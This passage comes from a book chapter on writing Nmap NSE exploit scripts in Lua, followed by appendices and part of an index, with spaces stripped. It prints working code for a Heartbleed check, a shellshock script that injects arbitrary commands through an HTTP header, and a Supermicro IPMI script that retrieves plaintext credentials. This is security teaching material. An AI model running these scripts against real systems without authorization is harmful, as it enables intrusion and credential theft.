|regsvcDoS:regsvcDoS:ERROR(NT_STATUS_ACCESS_DENIED)

|SMBv2DoS(CVE-2009-3103):NOTVULNERABLE

|MS06-025:NOSERVICE(theRasRPCserviceisinactive)

|_MS07-029:NOSERVICE(theDnsServerRPCserviceisinactive)

Inthiscase,theNSElibrariesmakethevulnerabilitydetectionfunctionlookverysimple,butkeepinmindthatthelibraryisdoingtheheavyliftingregardingprotocolcommunication.However,thenexttimeyouencounteranewSMBvulnerability,youcanusethissamelibraryandstartworkingonthebitsspecifictoyourattackvector;youwon’tneedtospendanytimeworkingonprotocolcommunicationtasks.Evenifyouneedtocreateanewprotocollibrary,youhavethepowerofLuaandNSEatyourdisposal.

NoteTheofficialdocumentationofthemsrpcandsmblibrariescanbefoundathttp://nmap.org/nsedoc/lib/msrpc.htmlandhttp://nmap.org/nsedoc/lib/smb.html.

ExploitingtheinfamousheartbleedvulnerabilityTheheartbleedvulnerabilityaffectstheOpenSSLimplementationofSSLandTLSversions1.0.1through1.0.1f.Itisaverypopularcryptographiclibrary,anditcanbefoundinhundreds(possiblythousands)ofdifferentproducts,includingsoftwareandhardware.Itwasestimatedthatitaffectedaround14percentofthewebserversatthemomentofdisclosure—thatis,April1,2014.InJune2014,therewerestill309,197vulnerableserversrunningonport443.Thiswasoneofthemostinterestingvulnerabilitiesoftheyearbecauseitallowedattackerstostealcredentials,cookies,andprivatekeysbyreadingarbitrarymemorylocations.

TheHeartbeatextensionwasintroducedasafeaturetoimproveperformancebyreducingthenumberofrenegotiationsbetweenclients.Bycraftingaheartbeatwithasizelargerthanthedestinationstructure,attackerscanreadupto64KBofmemorydataperheartbeat.

Let’slookatthessl-heartbleedscriptsubmittedbyPatrikKarlssontolearnhowtodetectthisvulnerabilitywithNSE.Thisscriptusesthetlslibrary(http://nmap.org/nsedoc/lib/tls.html)tocreateTLS/SSLcommunicationmessagesandbuffers.Let’sfocusonthedetectionroutine:

1. Westartbycreatingtheclient_hellomessageusingtls.client_hello():

localhello=tls.client_hello({

["protocol"]=version,

—Claimtosupporteverycipher

—Doesn'tworkwithIIS,butIISisn'tvulnerable

["ciphers"]=keys(tls.CIPHERS),

["compressors"]={"NULL"},

["extensions"]={

—Claimtosupporteveryellipticcurve

["elliptic_curves"]=tls.EXTENSION_HELPERS["elliptic_curves"]

(keys(tls.ELLIPTIC_CURVES)),

—ClaimtosupporteveryECpointformat

["ec_point_formats"]=

tls.EXTENSION_HELPERS["ec_point_formats"](keys(tls.EC_POINT_FORMATS)),

["heartbeat"]="\x01",—peer_not_allowed_to_send

},

})

2. Nowlet’sdefineourheartbeatrequestwiththehelpoftls.record_write(type,protocol,body):

localpayload=stdnse.generate_random_string(19)

localhb=tls.record_write("heartbeat",version,bin.pack("C>SA",

1,—HeartbeatMessageTypeheartbeat_request

0x4000,—payloadlength(falsified)

—payloadlengthisbasedon4096-16bytespadding-8bytes

packet

—header+1tooverflow

payload—lessthanpayloadlength.

)

)

3. Thetlslibrarydoesnothandlesocketcommunicationatall;wewillneedtoimplementitourselves.Inthiscase,tosendourclient_hellomessage,wesetupthesocketwithnmap.new_socket()ortls.getPrepareTLSWithoutReconnect(port),dependingonwhethertheprotocolusestheSTART_TLSmechanism:

locals

localspecialized=sslcert.getPrepareTLSWithoutReconnect(port)

ifspecializedthen

localstatus

status,s=specialized(host,port)

ifnotstatusthen

stdnse.debug3("Connectiontoserverfailed")

return

end

else

s=nmap.new_socket()

localstatus=s:connect(host,port)

ifnotstatusthen

stdnse.debug3("Connectiontoserverfailed")

return

end

end

s:set_timeout(5000)

—SendClientHellotothetargetserver

localstatus,err=s:send(hello)

ifnotstatusthen

stdnse.debug1("Couldn'tsendClientHello:%s",err)

s:close()

returnnil

end

4. Thetls.record_read()functionisusedtoreadanSSL/TLSrecordandcheckfortheheartbeatextension:

--Readresponse

localdone=false

localsupported=false

locali=1

localresponse

repeat

status,response,err=tls.record_buffer(s,response,i)

iferr=="TIMEOUT"then

—Timedoutwhilewaitingforserver_hello_done

—Couldbeclientcertificaterequiredorothermessagerequired

—Let'sjustdropoutandtrysendingtheheartbeatanyway.

done=true

break

elseifnotstatusthen

stdnse.debug1("Couldn'treceive:%s",err)

s:close()

returnnil

end

localrecord

i,record=tls.record_read(response,i)

ifrecord==nilthen

stdnse.debug1("Unknownresponsefromserver")

s:close()

returnnil

elseifrecord.protocol~=versionthen

stdnse.debug1("Protocolversionmismatch")

s:close()

returnnil

end

ifrecord.type=="handshake"then

for_,bodyinipairs(record.body)do

ifbody.type=="server_hello"then

ifbody.extensionsandbody.extensions["heartbeat"]=="\x01"

then

supported=true

end

elseifbody.type=="server_hello_done"then

stdnse.debug1("we'redone!")

done=true

end

end

end

untildone

ifnotsupportedthen

stdnse.debug1("ServerdoesnotsupportTLSHeartbeatRequests.")

s:close()

returnnil

end

5. Thenwesendourheartbeatrequestthroughoursocket:

status,err=s:send(hb)

ifnotstatusthen

stdnse.debug1("Couldn'tsendheartbeatrequest:%s",err)

s:close()

returnnil

end

6. Finally,wereadtheresponsesanddeterminewhethertheserverisvulnerableornot:

while(true)do

localstatus,typ,ver,len=recvhdr(s)

ifnotstatusthen

stdnse.debug1('Noheartbeatresponsereceived,serverlikelynot

vulnerable')

break

end

iftyp==24then

localpay

status,pay=recvmsg(s,0x0fe9)

s:close()

if#pay>3then

returntrue

else

stdnse.debug1('Serverprocessedmalformedheartbeat,butdid

notreturnanyextradata.')

break

end

elseiftyp==21then

stdnse.debug1('Serverreturnederror,likelynotvulnerable')

break

end

end

Forcompleteness,therecvhdr(s)andrecvmsg(s,len)helperroutinesusedpreviouslyaredefinedasfollows:

localfunctionrecvhdr(s)

localstatus,hdr=s:receive_buf(match.numbytes(5),true)

ifnotstatusthen

stdnse.debug3('UnexpectedEOFreceivingrecordheader-serverclosed

connection')

return

end

localpos,typ,ver,ln=bin.unpack('>CSS',hdr)

returnstatus,typ,ver,ln

end

localfunctionrecvmsg(s,len)

localstatus,pay=s:receive_buf(match.numbytes(len),true)

ifnotstatusthen

stdnse.debug3('UnexpectedEOFreceivingrecordpayload-serverclosed

connection')

return

end

returntrue,pay

end

That’sallofthecodeweneedtocompleteourdetectionroutine.Therestofthescriptusesthevulnslibrarytocreateavulnerabilityreport.Wewilllearnmoreaboutthislibraryattheendofthischapter.

Thessl-heartbleedscriptisdistributed.Thecompletesourcecodeofthessl-heartbleedscriptcanbefoundathttps://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse.

ExploitingshellshockinwebapplicationsGNU’slatestbashvulnerability,alsoknownasshellshock,allowsattackerstoexecutecommandsremotely.Itisaverydangerousvulnerabilitythatstillhasunknownattackvectors.IthasaffectedeverythingfromwebapplicationstohardwareappliancessuchasF5’sfirewalls.

Let’screateascripttoexploitthisvulnerabilityinwebapplications.ThemostpopularinjectionpointbeingusedistheUser-AgentHTTPheader,butitisexpectedtobedifferentinsomeapplications.Let’strytomakeitasflexibleaspossible.Ourscriptwillsimplyneedtomakeacalltohttp.get()tosendourattackpayload.WebeginbydeclaringtheNSElibrariesandourexecutionrule:

localhttp=require"http"

localshortport=require"shortport"

localstdnse=require"stdnse"

localvulns=require"vulns"

portrule=shortport.http

Ourdetectionroutinewillinsertanechocommandinsidethe'(){:;};stringpayloadtolookforthatpatternanddeterminewhetherahostisvulnerable.Wecancompletetheentiredetectionandexploitationroutineinfewerthan100linesofcode:

action=function(host,port)

localcmd=stdnse.get_script_args(SCRIPT_NAME..".cmd")ornil

localhttp_header=stdnse.get_script_args(SCRIPT_NAME..".header")or

"User-Agent"

localhttp_method=stdnse.get_script_args(SCRIPT_NAME..".method")or

'GET'

localuri=stdnse.get_script_args(SCRIPT_NAME..".uri")or'/'

localrnd=stdnse.generate_random_string(15)

localpayload='(){:;};echo;echo"'..rnd..'"'

ifcmd~=nilthen

cmd='(){:;};'..cmd

end

—PlantthepayloadintheHTTPheaders

localoptions={header={}}

options["no_cache"]=true

options["header"][http_header]=payload

stdnse.debug(1,string.format("Sending'%s'viaHTTPheader'%s'",

payload,http_header))

localreq=http.get(host,port,uri,options)

ifreq.status==200andstring.match(req.body,rnd)~=nilthen

stdnse.debug(1,string.format("Randompattern'%s'wasfoundinpage.

Hostseemsvulnerable.",rnd))

return"ThisHTTPapplicationisvulnerable!"

end

end

Thescriptworkswelltodetectthisvulnerability;withafewextralinesofcode,wecanexpandittocoverotherHTTPmethodsaswell.Atthispoint,Ihopeyouhavestartedworkingonyourownexploits,solet’slearnmoreabouthowtoreportvulnerabilitiescorrectlyinyourNSEscripts.

Thecompletesourcecodeofthehttp-shellshockscriptcanbefoundathttps://svn.nmap.org/nmap/scripts/.

ReportingvulnerabilitiesThevulnsNSElibraryprovidesasetofusefulfunctionsforvulnerabilitymanagement.Itspurposeistoofferdevelopersacommoninterfaceforstoringandreportingvulnerabilities.ThevulnerabilitiesarestoredintheNmapregistryandcanbeaccessedbyotherscriptsduringruntime.Thelibraryalsohelpskeeptrackofallstatesofthevulnerabilities.Thestatesarerepresentedbythefollowingstringconstantsdefinedinthelibrary:

vulns.STATE.NOT_VULN

vulns.STATE.LIKELY_VULN

vulns.STATE.VULN

vulns.STATE.DoS

vulns.STATE.EXPLOIT

VulnerabilityreportsarepassedtothelibraryasLuatables.Avulnerabilitytableneedstwomandatoryfields:titleandstate,butthereareseveralotheroptionalfields;someofthem,suchasIDS,willalsoautomaticallygenerateURLsifaCVE,BID,orOSVDBIDisassigned.Thesupportedfieldsare:

title

state

IDS(optional)risk_factor(optional)scores(optional)description(optional)dates(optional)check_results(optional)exploit_results(optional)extra_info(optional)references(optional)

Let’slookatavulnerabilitytabledefinedinthessl-heartbleedscript:

localvuln_table={

title="TheHeartbleedBugisaseriousvulnerabilityinthepopular

OpenSSLcryptographicsoftwarelibrary.Itallowsforstealinginformation

intendedtobeprotectedbySSL/TLSencryption.",

state=vulns.STATE.NOT_VULN,

risk_factor="High",

description=[[

OpenSSLversions1.0.1and1.0.2-betareleases(including1.0.1fand1.0.2-

beta1)ofOpenSSLareaffectedbytheHeartbleedbug.Thebugallowsfor

readingmemoryofsystemsprotectedbythevulnerableOpenSSLversionsand

couldallowfordisclosureofotherwiseencryptedconfidentialinformation

aswellastheencryptionkeysthemselves.

]],

references={

'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160',

'http://www.openssl.org/news/secadv_20140407.txt',

'http://cvedetails.com/cve/2014-0160/'

}

}

OncewehavecreatedourLuatablecontainingthevulnerabilitydescription,wemustcreateaninstanceoftheVulns.Reportclass.ScriptsmustalsocalltheVulns.Report:make_output()function.Thisfunctiontakesthegivenvulnerabilitytablesandstorestheminthedatabase.Thenitformatstheoutputtogeneratethereporttobeshowntotheuser:

localvuln_table={...}

localreport=vulns.Report:new(SCRIPT_NAME,host,port)

...//Herewewoulddoourchecksandthenmarkthestateofthe

vulnerabilityaccordingly.

returnreport:make_output(vuln_table)

Moreover,youcanaddvulnerabilitiesusingtheVulns.Report:add()functionandbysimplycallingVulns.Report:make_output()withnoparameters:

Localvuln_table={...}

localreport=vulns.Report:new(SCRIPT_NAME,host,port)

...//Again,wemarkthestateofthevulnerabilityaccordingly.

report:add(vuln_table)

returnreport:make_output()

Boththecodesnippetsshownpreviouslywillachievethesameresult.Itisamatterofpersonalchoicehowyouusethesefunctions.Thevulnerabilitydatabasecanalsobeaccessedthroughpreruleandpostrulescripts,anditallowsdeveloperstofilterscriptsdependingonthecriteriaspecifiedinacallbackfunctionthatispassedtovulns.save_reports().Thevulns.save_reports()functioninitializesthedatabaseandtakesasanoptionalparameteracallbackfunctionthatmustreturnaBooleanvaluethatindicateswhetherthevulnerabilitiesshouldbestoredintheregistryornot.

UsingthevulnslibraryinyourNSEscriptsLet’screateascriptthatexploitsasimplevulnerabilitytohighlightthemostimportantaspectsofthislibrary.ThevulnerabilitywearegoingtoexploitaffectsSupermicroIPMI/BMCcontrollers;itallowsattackerstodownloaditsconfigurationfilebysimplyrequestingapage.Asusual,let’sfillintherequiredscriptfields:

description=[[

Attemptstodownloadanunprotectedconfigurationfilecontainingplain-

textusercredentialsinvulnerableSupermicroOnboardIPMIcontrollers.

Thescriptconnectstoport49152andissuesarequestfor"/PSBlock"to

downloadthefile.Thisconfigurationfilecontains

userswiththeirpasswordsinplaintext.

References:

*http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-

added-extras/

*https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-

penetration-testers-guide-to-ipmi

]]

author="PaulinoCalderon<calderon()websecmx>"

license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"

categories={"exploit","vuln"}

Nowlet’simporttherequiredNSElibrariesanddefineourportrule.TheservicerunsonTCPport49152,solet’srunthescriptwhenthisportisopen.Atthistime,servicedetectiondoesnothaveasignatureforthisservice,sowecan’tlinktheexecutionofthescriptwiththeservicename:

localhttp=require"http"

localnmap=require"nmap"

localshortport=require"shortport"

localstring=require"string"

localvulns=require"vulns"

localstdnse=require"stdnse"

portrule=shortport.portnumber(49152,"tcp")

Theconfigurationfileobtainedwiththisvulnerabilityistoolargeandhastoomuchgarbagetobedisplayedtotheusers.Forthisreason,wewillneedtostoretheconfigurationfileonthedisk:

---

--Writesstringtofile

localfunctionwrite_file(filename,contents)

localf,err=io.open(filename,"w")

ifnotfthen

returnf,err

end

f:write(contents)

f:close()

returntrue

end

Nowthemaincodeblockwilldefinethevulnerabilitytableandmarkthestateasvulns.STATE.NOT_VULN.Thenthescriptwillrequestthe/PSBlockpageandchecktheresponse.Ifitlooksliketheconfiguration,thescriptwillsavethefileatthedesiredlocationonthediskandupdatethestatetovulns.STATE.EXPLOIT.Attheend,wewillsimplyreturntheresultofthevulns.Report:make_output()call:

action=function(host,port)

localfw=stdnse.get_script_args(SCRIPT_NAME..".out")or

host.ip.."_bmc.conf"

localvuln={

title='SupermicroIPMI/BMCconfigurationfiledisclosure',

state=vulns.STATE.NOT_VULN,

description=[[

SomeSupermicroIPMI/BMCcontrollersallowattackerstodownload

aconfigurationfilecontainingplaintextusercredentials.This

credentialsmaybeusedtologintotheadministrativeinterfaceandthe

network'sActiveDirectory.]],

references={

'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-

and-some-added-extras/',

},

dates={

disclosure={year='2014',month='06',day='19'},

},

}

localvuln_report=vulns.Report:new(SCRIPT_NAME,host,port)

localopen_session=http.get(host.ip,port,"/PSBlock")

ifopen_sessionandopen_session.status==200and

string.len(open_session.body)>200then

s=open_session.body:gsub("%z",".")

vuln.state=vulns.STATE.EXPLOIT

vuln.extra_info="Snippetfromconfigurationfile:\n"..string.sub(s,

25,200)

localstatus,err=write_file(fw,s)

ifstatusthen

extra_info=string.format("\nConfigurationfilesavedto'%s'\n",

fw)

else

stdnse.debug(1,"Errorsavingconfigurationfileto'%s':%s\n",fw,

err)

end

vuln.extra_info="Snippetfromconfigurationfile:\n"..string.sub(s,

25,200)..extra_info

end

returnvuln_report:make_output(vuln)

end

Now,ifwerunthescriptagainstavulnerableIPMI/BMCcontroller,weshouldseeareportsimilartothis:

PORTSTATESERVICEREASON

49152/tcpopenunknownsyn-ack

|supermicro-ipmi-conf:

|VULNERABLE:

|SupermicroIPMI/BMCconfigurationfiledisclosure

|State:VULNERABLE(Exploitable)

|Description:

|SomeSupermicroIPMI/BMCcontrollersallowattackerstodownload

|aconfigurationfilecontainingplaintextusercredentials.This

credentialsmaybeusedtologintotheadministrativeinterfaceandthe

|network'sActiveDirectory.

|Disclosuredate:2014-06-19

|Extrainformation:

|Snippetfromconfigurationfile:

|

.............31spring…..........\x14…...........\x01\x01\x01.\x01…...\x01AD

MIN…........ThIsIsApAsSwOrD…..........T.T….........\x01\x01\x01.\x01…...\x0

1ipmi….........w00t!.............\x14…..........

|Configurationfilesavedto'xxx.xxx.xxx.xxx_bmc.conf'

|

|References:

|_http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-

some-added-extras/

NoteTheofficialdocumentationofthevulnslibrarycanbefoundathttp://nmap.org/nsedoc/lib/vulns.html.

SummaryInthischapter,IhighlightedthebenefitsofcreatingexploitsusingNSE.Thelibrariesavailableforhandlingdifferentnetworkprotocolsandotheraspectsofexploitdevelopmentcansaveusvaluabletimewhenexploitingnetworkvulnerabilities.Ifyouareworkingwithmoreobscureprotocols,thesimplicityofLuawillallowyoutocreateyourownNSElibrarywithoutmuchoverhead.

YoulearnedtoexploitsomeofthelatestandmostdangerousvulnerabilitiessuchasBash’sshellshock,SSL’sheartbleed,anda2014PwnieAward-winningIPMI/BMCconfigurationdisclosurevulnerability—inmostcaseswithfewerthan100linesofcode.Finally,wecoveredthevulnsNSElibrary,whichisdesignedtohelpdeveloperscreateorganizedvulnerabilityreportsthatautomaticallygetgeneratedinnormalandXMLoutputmodes.

TheonlythinglefttodonowistogocreateyourveryownNSEexploit.Ifyoueverhitawall,don’tforgettoreachouttomeortheNmapdevelopmentmailinglist.Allcollaboratorswillbeverymuchdisposedtohelpyou,andallyourcontributionsarewelcomeandgreatlyappreciated.AlthoughNmapwasnotoriginallydesignedtobeanexploitationframework,wearehappytokeepimprovingalltheexploitationcategories.

AppendixA.ScanPhasesScansperformedwithNmaparedividedintophases,andsomeofthemmaybeskippedusingdifferentNmapoptions.ThescanphasesofNmapare:

Scriptpre-scanning:Thepre-scanningphaseisexecutedonlywhenyouusethe-sCor--scriptoptions;itattemptstoretrieveadditionalhostinformationviaacollectionofNSEscripts.Targetenumeration:Inthisphase,Nmapparsesthetarget(ortargets)andresolvesthemintoIPaddresses.Hostdiscovery:ThisisthephasewhereNmapdetermineswhetherthetarget(ortargets)isonlineandinthenetworkbyperformingthespecifiedhostdiscoverytechnique(ortechniques).The-Pnoptioncanbeusedtoskipthisphase.ReverseDNSresolution:Inthisphase,NmapperformsareverseDNSlookuptoobtainahostnameforeachtarget.The-RargumentcanbeusedtoforceDNSresolution,and-ncanbeusedtoskipit.Portscanning:Duringthisphase,Nmapdeterminesthestateoftheports.Itcanbeskippedusingthe-snargument.Versiondetection:Thisphaseisinchargeofadvancedversiondetectionfortheportsfoundopen.Itisexecutedonlywhenthe-sVargumentisset.OSdetection:Inthisphase,Nmapattemptstodeterminetheoperatingsystemofthetarget.Itisexecutedonlywhenthe-Ooptionispresent.Traceroute:Inthisphase,Nmapperformsatraceroutetothetargets.Thisphaserunsonlywhenthe--tracerouteoptionisset.Scriptscanning:Inthisphase,NSEscriptsrundependingontheirexecutionrules.Output:Inthisphase,Nmapformatsallofthegatheredinformationandreturnsittotheuserinthespecifiedformat.Scriptpost-scanning:Inthisphase,NSEscriptswithpost-scanexecutionrulesareevaluatedandgivenachancetorun.Iftherearenopost-scanNSEscriptsinthedefaultcategory,thisphasewillbeskipped,unlessspecifiedwiththe--scriptargument.

AppendixB.NSEScriptTemplateThisappendixincludesanNSEscripttemplatethatcontainstherequiredscriptfieldsscriptsandthedefaultlicensingvalues:

description=[[

]]

---—@usage——@output—--@args—---

author=""

license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"

categories={}

--portrule=

action=function(host,port)

end

ThistemplateisavailableonlineinmyGitHubrepository,athttps://github.com/cldrn/nmap-nse-scripts/blob/master/nse-script-template.nse.

OthertemplatesonlineTheNmapdistributionalsoincludesaprettycompletetemplatemadebyRonBowes.Itcanbedownloadedfromapreviousworkingcopyofthedevelopmentrepository,athttps://svn.nmap.org/nmap/docs/sample-script.nse?p=30373.

AppendixC.ScriptCategoriesThecollectionofNSEscriptsisdividedintothefollowingcategories:

auth:Thesearescriptsrelatedtouserauthentication.broadcast:Thisisaveryinterestingcategoryofscriptsthatusesbroadcastpetitionstogatherinformation.brute:Thiscategoryofscriptshelpsconductbrute-forcepasswordauditing.default:Thesearethescriptsthatareexecutedwhenascriptscanisexecuted(-sC).discovery:Thesearescriptsrelatedtohostandservicediscovery.dos:Thesescriptsarerelatedtodenial-of-serviceattacks.exploit:Thesearescriptsthatexploitsecurityvulnerabilities.external:Thiscategoryisforscriptsdependingonathird-partyservice.fuzzer:TheseareNSEscriptsfocusedonfuzzing.intrusive:Thisisacategoryforscriptsthatmightcrashsomethingorgeneratealotofnetworknoise.Scriptsthatsystemadministratorsmayconsiderintrusivegohere.malware:Thisisacategoryforscriptsrelatedtomalwaredetection.safe:Thesearescriptsthatareconsideredsafeinallsituations.version:Thesearescriptsusedinadvancedversioning.vuln:Thesearescriptsrelatedtosecurityvulnerabilities.

AppendixD.NmapOptionsMindMapThisisamindmapoftheoutputreturnedbyNmapwhenitisrunwithnoarguments.Itincludesthemostcommonoptionsdividedintocategoriesandistobeusedforsimplereference.

AppendixE.ReferencesThisappendixreflectstheincredibleamountofworkthatpeoplehaveputintoNmap.IrecommendcomplementingthisreadingwithNmapNetworkScanning,byGordon“Fyodor”Lyon,NmapProject,andtheofficialdocumentationonline,asfollows:

http://nmap.org/book/http://nmap.org/nsedoc/http://www.lua.org/about.htmlhttp://www.nmap-cookbook.comhttp://en.wikipedia.org/wiki/Lua_(programming_language)http://stackoverflow.com/questions/8092382/learning-lua-fasthttp://lua-users.org/wiki/ControlStructureTutorialhttp://www.lua.org/pil/24.3.2.htmlhttp://www.lua.org/manual/5.2/manual.htmlhttp://www.lua.org/manual/2.4/node22.htmlhttp://www.lua.org/pil/20.2.htmlhttp://www.lua.org/pil/13.1.htmlhttps://svn.nmap.org/nmap/scripts/http-majordomo2-dir-traversal.nsehttp://lua-users.org/wiki/MetamethodsTutorialhttp://lua-users.org/wiki/PatternsTutorialhttp://nmap.org/book/man-performance.htmlhttp://nmap.org/nsedoc/lib/stdnse.htmlhttp://nmap.org/book/nse-parallelism.htmlhttp://nmap.org/nsedoc/scripts/http-slowloris.htmlhttp://nmap.org/nsedoc/scripts/http-slowloris-check.htmlhttp://nmap.org/nsedoc/scripts/ssl-poodle.htmlhttps://github.com/s4n7h0/Halcyon/http://blog.bonsaiviking.com/2012/08/xml-output-for-nmaps-nse-scripts.htmlhttp://www.cqure.net/

IndexA

Accountclassused,forreturningvalidaccounts/ReturningvalidaccountsviaAccountobjects

advancedhostdiscovery,NSEscriptsabout/Advancedhostdiscoveryhosts,discoveringwithbroadcastpings/DiscoveringhostswithbroadcastpingslisteningtoLAN,fortargetdiscovery/ListeningtoyourLANtodiscovertargets

applications,NSEscriptsinformationgathering/Information-gatheringadvancedhostdiscovery/Advancedhostdiscoverypasswordauditing/Passwordauditingvulnerabilityscanning/Vulnerabilityscanning

APSB13-13URL/Implementingstructuredoutputinyourscripts

arithmeticmetamethodsabout/Arithmeticmetamethods__add/Arithmeticmetamethods__mul/Arithmeticmetamethods__sub/Arithmeticmetamethods__div/Arithmeticmetamethods__unm/Arithmeticmetamethods__pow/Arithmeticmetamethods__concat/Arithmeticmetamethods

arraysabout/Arrays

BBerkeleySoftwareDistribution(BSD)

about/Licensebin.unpack()method/Packingandunpackingbinarydatabinarydata

packing/Packingandunpackingbinarydataunpacking/Packingandunpackingbinarydata

binlibraryURL/Packingandunpackingbinarydata

Booleans,Lua/Booleansbroadcast-igmp-discoveryscript

URL,forofficialdocumentation/mygroupnames.dbbroadcast-pingscript/Discoveringhostswithbroadcastpingsbrute-forcepasswordauditingattacks

scripting,againstMikroTikRouterOSAPI/WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPI

bruteforceattacksusernameandpasswordlists/Usernameandpasswordlistsusedinbrute-forceattacks

bruteNSElibraryURL/WorkingwiththebruteNSElibraryabout/WorkingwiththebruteNSElibraryAccountclass/WorkingwiththebruteNSElibraryEngineclass/WorkingwiththebruteNSElibraryOptionsclass/WorkingwiththebruteNSElibraryErrorclass/WorkingwiththebruteNSElibraryworkingwith/Selectingabrutemodemodes/Selectingabrutemodemodes,selecting/SelectingabrutemodeDriverclass,implementing/ImplementingtheDriverclassoptions/Passinglibraryanduseroptionsvalidaccounts,returningviaAccountclass/ReturningvalidaccountsviaAccountobjectsexecutionerrors,handlingwithErrorclass/HandlingexecutionerrorsgracefullywiththeErrorclass

bruteNSElibrary,optionsmode/PassinglibraryanduseroptionsfirstOnly/Passinglibraryanduseroptionspassonly/Passinglibraryanduseroptionsmax_retries/Passinglibraryanduseroptionsdelay/Passinglibraryanduseroptionsmax_guesses/Passinglibraryanduseroptionsuseraspass/Passinglibraryanduseroptions

emptypass/Passinglibraryanduseroptionstitle/Passinglibraryanduseroptionsnostore/Passinglibraryanduseroptions

Ccaptures

about/Capturescatchfunction

about/ExceptionhandlinginNSEscriptscategories,NSEscripts

safe/RunningNSEscripts,Scriptcategoriesauth/Scriptcategoriesbroadcast/Scriptcategoriesbrute/Scriptcategoriesdefault/Scriptcategoriesdiscovery/Scriptcategoriesdos/Scriptcategoriesexploit/Scriptcategoriesexternal/Scriptcategoriesfuzzer/Scriptcategoriesintrusive/Scriptcategoriesmalware/Scriptcategoriesversion/Scriptcategoriesvuln/Scriptcategories

characterclassesabout/Characterclasses

cldrn/nmap-nse-scripts,GitHubURL/Settingupadevelopmentenvironment

coercion,Lua/Coercioncomments,Lua/Commentscommondatastructures,Lua

about/Commondatastructurestables/Tablesarrays/Arrayslinkedlists/Linkedlistssets/Setsqueues/Queues

concatenationabout/Concatenation

conditionalstatements,Luaif-then/Conditionalstatements–if-then,else,andelseifelse-if/Conditionalstatements–if-then,else,andelseifelse/Conditionalstatements–if-then,else,andelseif

conditionvariablesabout/Conditionvariables

coroutine,Luaabout/Coroutines

creating/Creatingacoroutineexecuting/Executingacoroutinestatus,obtainingof/Gettingthestatusofacoroutineyielding/Yieldingacoroutine

coroutine.createfunction/Creatingacoroutinecoroutine.resumefunction/Executingacoroutinecoroutine.runningfunction/Determiningtherunningcoroutinecoroutine.status()function/Workingwithcoroutinescoroutine.statusfunction/Gettingthestatusofacoroutinecoroutine.yieldfunction/Yieldingacoroutinecoroutines

about/Coroutinesstates/Coroutinescoroutine.create(f)function/Coroutinescoroutine.resume(co[,val1,···])function/Coroutinescoroutine.running()function/Coroutinescoroutine.status(co)function/Coroutinescoroutine.wrap(f)function/Coroutinescoroutine.yield(···)function/Coroutinesworkingwith/WorkingwithcoroutinesURL/Workingwithcoroutines

credsNSElibraryabout/credsURL/creds,Managingusercredentialsfoundduringscansused,formanagingusercredentials/Managingusercredentialsfoundduringscans

customdatastructures,Luaabout/Customdatastructureshttp-enumdatabase/http-enumdatabasehttp-default-accounts/http-default-accounts

Ddata

sending,NSEsocketsused/SendingdatausingNSEsocketsreceiving,NSEsocketsused/ReceivingdatausingNSEsockets

datadirectorylocating/Locatingyourdatadirectory

datadirectorysearchorderabout/Datadirectorysearchorder

datatypes,Luanumber/Datatypesstring/Datatypesboolean/Datatypestable/Datatypesfunction/Datatypesnil/Datatypesuserdata/Datatypesthread/Datatypes

DBMSauditingdatafilesabout/DBMS-auditingdatafilesmysql-cis.audit/mysql-cis.auditoracle-default-accounts.lst/oracle-default-accounts.lstoracle-sids/oracle-sids

debugginginformationincluding,inNSEscriptoutput/Includingdebugginginformation

developmentenvironmentsettingup/Settingupadevelopmentenvironment

Driverclassimplementing/ImplementingtheDriverclasslogin()function/ImplementingtheDriverclassconnect()function/ImplementingtheDriverclassdisconnect()function/ImplementingtheDriverclasscheck()function/ImplementingtheDriverclass

dummyassignments,Lua/Dummyassignments

Eelse-ifconditionalstatement

about/Conditionalstatements–if-then,else,andelseifelseifkeyword

about/Conditionalstatements–if-then,else,andelseifelsestatement

about/Conditionalstatements–if-then,else,andelseifentry,Luatable

namefield/http-devframework-fingerprints.luarapidDetectfield/http-devframework-fingerprints.luaconsumingDetectfield/http-devframework-fingerprints.lua

environmentvariablesabout/ExploringenvironmentvariablesSCRIPT_PATH/ExploringenvironmentvariablesSCRIPT_NAME/ExploringenvironmentvariablesSCRIPT_TYPE/Exploringenvironmentvariables

Errorclassused,forhandlingexecutionerrors/HandlingexecutionerrorsgracefullywiththeErrorclass

Ethernetframesbuilding/BuildingEthernetframes

ethernet_send()method/Sendingpacketsto/fromIPandEthernetlayersexceptionhandling

about/ExceptionhandlinginNSEscriptsURL/ExceptionhandlinginNSEscripts

exploitNSEcategoryabout/TheexploitNSEcategoryhttp-csrf/TheexploitNSEcategoryhttp-stored-xss/TheexploitNSEcategoryhttp-adobe-coldfusion-apsa1301/TheexploitNSEcategoryhttp-iis-short-name-brute/TheexploitNSEcategoryjdwp-exec/TheexploitNSEcategorysmb-check-vulns/TheexploitNSEcategoryURL/TheexploitNSEcategory

expressionsadvancedscriptselection,performingwith/Advancedscriptselectionwithexpressions

FFIFOqueue

about/Queuesfile

NSEscriptarguments,loadingfrom/Loadingscriptargumentsfromafileopening/Openingafilereading/Readingafilewriting/Writingafileclosing/Closingafile

filemodes,Luaw/Modesw+/Modesa+/Modes

flowcontrolstructures,Luaabout/Flowcontrolstructuresconditionalstatements/Conditionalstatements–if-then,else,andelseifwhileloop/Loops–whilerepeatloop/Loops–repeatforloops/Loops–for

forloops/Loops–forfuzzdbproject

URL/http-sql-errors.lst

Ggrepableoutputformat

about/Theweaknessofthegrepableformatlimitations/TheweaknessofthegrepableformatURL/Theweaknessofthegrepableformat

HHalcyonIDE

about/HalcyonIDEURL/HalcyonIDE

hardmatch/Phasesofversiondetectionheartbleedvulnerability

exploiting/Exploitingtheinfamousheartbleedvulnerabilityhost

connectingto,NSEsocketsused/ConnectingtoahostusingNSEsocketshostmap-*setofscripts/FindingallhostnamesresolvingtothesameIPaddresshosttable,NSEarguments

